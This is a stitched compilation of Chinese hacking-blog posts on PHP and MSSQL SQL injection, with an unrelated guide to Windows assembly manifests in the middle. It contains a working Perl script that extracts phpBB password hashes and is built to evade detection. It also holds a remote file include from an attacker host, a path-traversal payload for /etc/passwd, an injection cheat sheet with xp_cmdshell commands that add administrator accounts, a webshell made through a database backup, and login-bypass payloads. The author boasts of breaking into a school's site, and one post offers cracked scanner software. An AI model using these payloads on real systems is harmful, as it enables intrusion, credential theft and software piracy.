用PHP函数解决SQL injection

SQL injection问题在ASP上可是闹得沸沸扬扬?当然还有不少国内外著名的PHP程序“遇难”。至于SQL injection的详情,网上的文章太多了,在此就不作介绍。


如果你网站空间的php.ini文件里的magic_quotes_gpc设成了off,那么PHP就不会在敏感字符前加上反斜杠(\),由于表单提交的内容可能含有敏感字符,如单引号('),就导致了SQL injection的漏洞。在这种情况下,我们可以用addslashes()来解决问题,它会自动在敏感字符前添加反斜杠。


但是,上面的方法只适用于magic_quotes_gpc=Off的情况。作为一个开发者,你不知道每个用户的magic_quotes_gpc是On还是Off,如果把全部的数据都用上addslashes(),那不是“滥杀无辜”了?假如magic_quotes_gpc=On,并且又用了addslashes()函数,那让我们来看看:

 

[language=PHP]
<?php
//如果从表单提交一个变量$_POST['message'],内容为 Tom's book
//这此加入连接MySQL数据库的代码,自己写吧
//在$_POST['message']的敏感字符前加上反斜杠
$_POST['message'] = addslashes($_POST['message']);

//由于magic_quotes_gpc=On,所以又一次在敏感字符前加反斜杠
$sql = "INSERT INTO msg_table VALUE('$_POST[message]');";

//发送请求,把内容保存到数据库内
$query = mysql_query($sql);

//如果你再从数据库内提取这个记录并输出,就会看到 Tom\'s book
?>

这样的话,在magic_quotes_gpc=On的环境里,所有输入的单引号(')都会变成(\')……
其实我们可以用get_magic_quotes_gpc()函数轻易地解决这个问题。当magic_quotes_gpc=On时,该函数返回TRUE;当magic_quotes_gpc=Off时,返回FALSE。至此,肯定已经有不少人意识到:问题已经解决。请看代码:
<?php
//如果magic_quotes_gpc=Off,那就为提单提交的$_POST['message']里的敏感字符加反斜杠
//magic_quotes_gpc=On的情况下,则不加
if (!get_magic_quotes_gpc()) {
$_POST['message'] = addslashes($_POST['message']);
} else {}
?>

[/language]

 

其实说到这里,问题已经解决。下面再说一个小技巧。


有时表单提交的变量不止一个,可能有十几个,几十个。那么一次一次地复制/粘帖addslashes(),是否麻烦了一点?由于从表单或URL获取的数据都是以数组形式出现的,如$_POST、$_GET)?那就自定义一个可以“横扫千军”的函数:

 

[language=PHP]
<?php
function quotes($content)
{
//如果magic_quotes_gpc=Off,那么就开始处理
if (!get_magic_quotes_gpc()) {
//判断$content是否为数组
if (is_array($content)) {
//如果$content是数组,那么就处理它的每一个单无
foreach ($content as $key=>$value) {
$content[$key] = addslashes($value);
}
} else {
//如果$content不是数组,那么就仅处理一次
addslashes($content);
}
} else {
//如果magic_quotes_gpc=On,那么就不处理
}
//返回$content
return $content;
}
?>

[/language]




Modified At 2008-06-04 13:09:11

PHP网站漏洞的相关总结


从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.


我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE 欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!


首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:

<?php
include($include."/xxx.php");
?>


在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php? include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在 b.php中写入类似于:passthru("/bin/ls /etc");的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看< <如何对PHP程序中的常见漏洞进行攻击>>).在这个漏洞方面,出状况的很多,比方说:PayPal Store Front, HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.


接着,我们再来看一下脚本命令执行漏洞.这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:


http://web/index.php?PHPSESSID="><script>...</script>在script里面我们可以构造函数来获得用户的一些敏感信息.在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.


再然后,我们就来看看文件泄露漏洞了.这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子.在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../.. /etc/passwd%00 就可以达到文件泄露的目的了.在这方面相对多一点,有:myPHPNuke,McNews等等.


最后,我们又要回到最兴奋的地方了.想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空.曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞.(这些废话不多说了,有点跑题了...).还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了.将asc改成 ASCII,len改成LENGTH,其他函数基本不变了.其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了.PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB.它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧.这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好.


好了,我们还是来分析一下漏洞产生的原因吧.拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得 "topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因).先看一下相关源代码:


# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }


从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4).

 

# $sql = "select p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u 
# where s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";

Rick提供了下面的这断测试代码:

use IO::Socket;
$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";
$p = "";
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@\n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0\n\n"; 
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1\n"; # replace this for pgsql or remove it
print $socket "Host: $remote\n\n";
while ($answer = <$socket>) {
if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=<num>#<num> {
$p .= chr ();
}
}
close($socket);
}
print "\nMD5 Hash for uid $uid is $p\n";
# random encode str. helps avoid detection
sub random_encode {
$str = shift;
$ret = "";
for($i=0; $i<length($str); $i++) {
$c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ' ') {
$ret .= "%" . sprintf("%x",ord($c));
} else {
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq 'mysql4') {
return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
} else {
return "";
}
}

 

这断代码,我就不多做解释了.作用是获得HASH值.
看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样:


display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc


不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的(希望学校网络中心的看不到这篇文章,^_^).把前面那函数用上吧.不然你只有改人家的密码了哦!!!


差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,mysql对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql数据库中都不能奏效了. 一般我们常见的注入语句像这样:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再进一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt 中


这样可以将数据库数据导出为文件,然后可以查看.


或是这样:mode=',user_level='4


这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用.


其它的如' OR 1=1 -- 或者:1' or 1='1则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.


其实大家可以看出来,上面那些分类归根结底只有一个原因:提交参数没过滤或是过滤不够严谨.黑客防线向来有攻有守.这里,就大致讲一下防范的方法吧.

 

首先,我个人认为最重要的一点是将magic_quotes_gpc高为ON,它的作用是将单引号,双引号,反斜线,和空字符转换为含有反斜线的字符,如 select * from admin where username='$username' and password='$password'语句,攻击者想用1' or 1='1跳过验证,但是,那些字符串将被转换成这样:select * from admin where username='a' and password='1\' or 1=\'1'从而达到阻止注入的目的,事实也就是自动进行了addslashes()操作.再不行的话,自己定义函数处理吧.现在看来,那些搞PHP注入的人也比较郁闷,因为myslq4以下版本不支持子语句,而新版本的mysql又会将magic_quotes_gpc选项默认为开.


解决包含文件漏洞用的方法就是:要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定,建议设global_variables为off。如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:allow_url_fopen = Off(注:参见<<PHP安全问题:远程溢出、DoS、safe_mode绕过漏洞>>).

Assembly Manifest 通俗简易手册[转]

 
[现象]
对这个问题的研究是起源于这么一个现象:当你用VC++2005(或者其它.NET)写程序后,在自己的计算机上能毫无问题地运行,但是当把此exe文件拷贝到别人电脑上时,便不能运行了,大致的错误提示如下:应用程序配置不正确,请重新安装程序……或者是MSVCR80D.dll 没有找到什么的(我记得不是很清楚,不过大致是这样的)
 
 
[分析]
看到这样的提示,当然不会傻到重装咯。第一反应应该是什么配置有问题、或者是缺少了什么依赖的库文件;于是我就根据以前Windows缺少库文件的经验,把所有库文件(××.DLL)统统一股脑地复制到当前文件夹下来,满心欢喜以为可以运行了,以运行……@#¥@#%¥……还是挂了。
 
 
[探索]
于是开始网上搜索,我Google,我摆渡;渐渐我发现,这一切都和一个叫做***.manifest 类型的文件发生关系,那么到底什么是 .manifest 文件呢?他有什么用,以前为什么没有?
后来,经过艰苦努力,终于得知,原来这一切都是Windows 的Assembly Manifest搞的鬼。这个东东的作用就是为了解决 以前windows上的“Dll 地狱” 问题才产生的新的DLL管理解决方案。大家知道,Dll是动态加载共享库,同一个Dll可能被多个程序所使用,而所谓“Dll 地狱”就是当不通程序依赖的Dll相同,但版本不同时,由于系统不能分辨到底哪个是哪个,所以加载错了Dll版本,然后就挂了。于是盖茨就吸取了教训,搞了一个程序集清单的东东,每个程序都要有一个清单,这个清单存再和自己应用程序同名的.manifest文件中,里面列出其所需要的所有依赖,这儿所列出的依赖可不是简单地靠文件明来区分的,而是根据一种叫做“强文件名”的东西区分的,那么什么是强文件明呢?我们来看一下这个.manifest文件便知道了。
 
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<dependency>
<dependentAssembly>
<assemblyIdentity type='win32' name='Microsoft.VC80.CRT' version='8.0.50608.0' processorArchitecture='x86' publicKeyToken='1fc8b3b9a1e18e3b' />
</dependentAssembly>
</dependency>
</assembly>
 
我们发现原来这是一个XML格式的文件,其中<dependency>这一部分指明了其依赖于一个名字叫做Microsoft.VC80.CRT的库。但是我们发现,<assemblyIdentity>属性里面还有其它的东东,分别是
type系统类型,version版本号,processorArchitecture平台环境,publicKeyToken公匙(一般用来标示一个公司)……把他们加在一起便成了“强文件名”了,有了这种“强文件名”,我们就可以根据其区分不同的版本、不同的平台……总之,有了这种强文件名,系统中可以有多个不同版本的相同的库共存而不会发生冲突。
 
 
[深入]
恩,那么现在,我们就来具体了解一下这一套机制。
首先是强弱文件名的问题。正如上面提到的那样,为了区分不同版本或不同厂商生成的相同的程序集,必须用一个Assembly Manifest程序清单来列出我这个程序集的强文件名--慢着,到这里你可能会问:刚才不是说Assembly Manifest程序清单是列出其所依赖的程序集的强文件名呢,怎么这里变成了当前文件的强文件明了呢?其实,Assembly Manifest程序清单有两部分功能,上面这个实例之所以标注了其所依赖的文件的强文件名是因为其是客户端的Assembly Manifest,在服务端有另外一个Manifest 来标注。
 
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<noInheritable></noInheritable>
<assemblyIdentity type="win32" name="Microsoft.VC80.CRT" version="8.0.50727.42" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"></assemblyIdentity>
<file name="msvcr80.dll" hash="2a0d797a8c5eac76e54e98db9682e0938c614b45" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Transforms><dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity"></dsig:Transform></dsig:Transforms><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></dsig:DigestMethod><dsig:DigestValue>phRUExlAeZ8BwmlD8VlO5udAnRE=</dsig:DigestValue></asmv2:hash></file>
<file name="msvcp80.dll" hash="cc4ca55fb6aa6b7bb8577ab4b649ab77e42f8f91" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Transforms><dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity"></dsig:Transform></dsig:Transforms><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></dsig:DigestMethod><dsig:DigestValue>7AY1JqoUvK3u/6bYWbOagGgAFbc=</dsig:DigestValue></asmv2:hash></file>
<file name="msvcm80.dll" hash="55e8e87bbde00d1d96cc119ccd94e0c02c9a2768" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Transforms><dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity"></dsig:Transform></dsig:Transforms><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></dsig:DigestMethod><dsig:DigestValue>hWq8zazTsMeKVxWFBa6bnv4hEOw=</dsig:DigestValue></asmv2:hash></file>
</assembly>
这个便是从WINDOWS\WinSxS\Manifests目录下取出来的一个manifest文件,再这个文件夹下有一陀子这种XML格式的manifest文件,其是服务端的程序清单。WinSxs是windows XP以上版本提供的[blue]非托管并行缓存(side-by-side catche)[/blue]里面安装了各种版本的经过强文件名签名的系统库,而上面这个文件<assemblyIdentity>正是标注了系统中Microsoft.VC80.CRT的一个版本的强文件名签名,如果其和客户端。.manifest 清单里面<dependentAssembly>所列出的依赖项对上的话,就会被加载。刚才说的side-by-side 是指各种不同的版本并行运行。
上面这个服务端manifest文件中<file>标签具体指明了当前强文件名签名的到底是哪一个文件,其中还有这个文件的Hash签名,以确保文件的完整性。
 
好了,有了这一套机制,就可以非常非常安全地进行库文件关联了,但是、但是貌似还有一个一直困扰我们的问题:这套机制安全是安全了,但是却失去了以前良好的前后版本兼容性,即如果你的系统库发生了升级,那么服务端的版本号发生了变化,那岂不是所有服务端程序都不能使用了吗?其实,windows还使用一个policy的策略文件来确认映射关系。
 
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright ? 1981-2001 Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity type="win32-policy" name="policy.8.0.Microsoft.VC80.CRT" version="8.0.50727.42" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"/>
<dependency>
<dependentAssembly>
<assemblyIdentity type="win32" name="Microsoft.VC80.CRT" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"/>
<bindingRedirect oldVersion="8.0.41204.256-8.0.50608.0" newVersion="8.0.50727.42"/>
</dependentAssembly>
</dependency>
</assembly>
 
这便是在WINDOWS\WinSxS\Policies目录下的一个Policy文件,其中<bindingRedirect>标签便指定了所有8.0.41204.256-8.0.50608.0变本的客户需求映射到8.0.50727.42这个我现在系统中安装的比较新的版本的库。当然我们也能对别的字段进行映射,这样便能很好解决系统升级带来的问题。
 
[应用]
经过以上的讲解,大家对整个依赖查找过程都有了一个整体的认识,那么在实际中问题就好解决了。
让我们回到实际问题中,我之前说了,把一个程序编译连接成可执行程序后,在别人的电脑上发现找不到其所依赖的库了,那么怎么办呢?聪明的你自然想到把其所依赖的库相应的版本拷贝到目标计算机上面,可是……当你在拼命寻找那个可执行文件的assembly manifests文件的时候,却突然发现找不到了,在执行目录下面明明只有一个exe文件嘛。是不是没有生成呢?显然不会,原来是资源连接器把那个assembly manifests文件连接到了可执行文件里面了;不信,你可以用你的vc++打开一个可执行文件看看,在其资源项里面就有一个叫做RT_MANIFEST的项目。这个里面就是二进制标示的manifests文件。那么根据这里面提供的要求,将相应版本的依赖文件(一般就是CRT运行库)拷贝到系统目录Windows\WinSxS\,记住一般会是连带着一个特殊命名的目录一起拷贝到那个文件夹下,比如CRT的运行库就是WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50608.0_x-ww_b7acac55有这样一个目录,其标注了此库的版本号以及签名等信息,以防止多个版本重名时不能复制到同一WinSxS目录下。
 
这样就搞定了么?如果是以前,那么一切都解决了,系统会在这个目录下面找到这个运行库,可是现在单单这样可不行,系统可是要找到这个运行库的assembly manifests文件,并且对比强文件名之后才能加载,所以所以千万别忘了把相应的manifests文件拷贝到\WinSxS\Manifests目录下面。
 
当然,这样在目标的系统文件夹下面打动干戈,自然有些过于暴动了,还好,Windows还为我们提供了一种私有查找方式。这种方式会在前面的位置找不到合适库的时候在本地文件夹下面找。所以你只要把之前的库以及那个manifests文件一起拷贝到你的应用程序的路径下面,就可以使用啦。
 
根据MSDN的说明,在本地查找并加载遵循一下规则:
 
在应用程序本地文件夹中查找名为 <assemblyName>.manifest 的清单文件。在此示例中,加载程序试图在 appl.exe 所在的文件夹中查找 Microsoft.VC80.CRT.manifest。如果找到该清单,加载程序将从应用程序文件夹中加载 CRT DLL。如果未找到 CRT DLL,加载将失败。
 
尝试在 appl.exe 本地文件夹中打开文件夹 <assemblyName>,如果存在此文件夹,则从中加载清单文件 <assemblyName>.manifest。如果找到该清单,加载程序将从 <assemblyName> 文件夹中加载 CRT DLL。如果未找到 CRT DLL,加载将失败。
最后,我想补充的一点是,在你的VC++安装目录下面的“Microsoft Visual Studio 8\VC\redist”目录下,有着所有的提供发布的已经配备相应.manifest的库文件。所以你想要发布一个程序最简单最安全的做法(不用担心用户电脑是否包含你所需要的库)就是把这个目录下面的相应的库的文件夹和你的可执行文件放在一起发布。
比如在X86平台下如果你的可执行文件用到了CRT库(废话么),那么就拷贝Microsoft Visual Studio 8\VC\redist\x86\Microsoft.VC80.CRT这个文件夹到你的程序所在的目录,一起发布,就万事大吉啦!

常用手工注入命令

1.判断是否有注入;and 1=1 ;and 1=2
 
2.初步判断是否是mssql ;and user>0
 
3.注入参数是字符'and [查询条件] and ''='
 
4.搜索时没过滤参数的'and [查询条件] and '%25'='
 
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
 
6.猜数据库 ;and (select Count(*) from [数据库名])>0
 
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
 
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
 
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
 
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
 
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
 
12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
 
13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
 
14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';
 
15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
 
16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';

Acunetix Web Vulnerability Scanner V5.1 破解版


 

信息来源:邪恶八进制信息安全团队(www.eviloctal.com

 

Acunetix Web Vulnerability Scanner V5.1


功能很好,很强大。就是操作界面比较复杂,需要时间摸索。

附件里是5.1版的破解文件,原版请到下面的地址去下载。
原版下载地址:http://www.skycn.com/soft/37545.html

下载好后,将破解文件放入安装文件同目录,破解后,输入任意注册码即可。经测试可以自动更新,大家爽吧!

 

 

 

下载地址:
破解补丁




Modified At 2008-06-01 02:30:03

php+mysql注射语句构造


 

 

作者:特洛伊剑客's Blog


一.前言:

测试版本信息:Okphp BBS v1.3 开源版

由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
  声明:文章所有提到的"漏洞",都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

 

二."漏洞"分析:

1.admin/login.php注射导致绕过身份验证漏洞:

代码:

 

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 没过滤, 很容易就绕过。
对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:

构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a

相当于sql语句:

select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)
即:

select * from $user_table where username='admin'#' and password='$password'"
相当于:

select * from $user_table where username='admin'
在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造

 

2:

select id,group_id from $user_table where username='admin'#' and password='$password'"
相当于:

select id,group_id from $user_table where username='admin'
只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,
我们就可以这样构造:$username=' OR id=1#
相当于:

select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)
我们接着往下看代码:

if ($row[0]) {
// If not admin or super moderator
if ($username != "admin" && !eregi("(^&#124;&)3($&#124;&)",$row[1])) {
$login = 0;
}

else {
$login = 1;
}
}
// Fail to login---------------
if (!$login) {
write_log("Moderator login","0","password wrong");
echo "<script>alert('login failed!');history.go(-1);</script>";
exit();
}
// Access ! -------------
else {
session_start();

最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。

 

3.users/login.php注射导致绕过身份验证漏洞:
代码:

$md5password = md5($password);
$q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$username没过滤利用同1里注释掉and password='$md5password'";就绕过啦。

3.admin\log\list.php存在任意删除日志记录漏洞。(ps:这个好象和php+mysql注射无关,随便提一下)
okphp的后台好象写得很马虎,所有文件都没有判断管理员是否已经登陆,以至于任意访问。我们看list.php的代码:

$arr = array("del_log","log_id","del_id");
get_r($arr);
//
if ($del_log) {
省略........
if ($log_id) {
foreach ($log_id as $val) {
$q = "delete from $log_table where id='$val'";
$res = sql_query($q,$conn);
if ($res) {
$i++;
}
}
}
elseif ($del_id) {
$q = "delete from $log_table where id='$del_id'";
$res = sql_query($q,$conn);
}
$tpl->setVariable("message","$i log deleted ok!");
$tpl->setVariable("action","index.php?action=list_log");
}

代码就只简单的用get_r($arr);判断的提交的参数,我们只要提交相应的$del_log,$log_id,$del_id。就回删除成功。

 

4.多个文件对变量没有过滤导致sql注射漏洞。
  okphp的作者好象都不喜欢过滤:)。基本上所有的sql语句中的变量都是"赤裸裸"的。具体那些文件我就不列出来了,请自己看代码,我这里就用\forums\list_threads.php为例子简单谈一下。

看list_threads.php的代码:

 

$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

 

变量$forum_id没有过滤,因为mysql不支持子查询,我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作,我们构造如下:

 

构造1:利用 select * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:

 

$forum_id=' union select * from user_table into outfile '/path/file.txt'


以下:

$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";


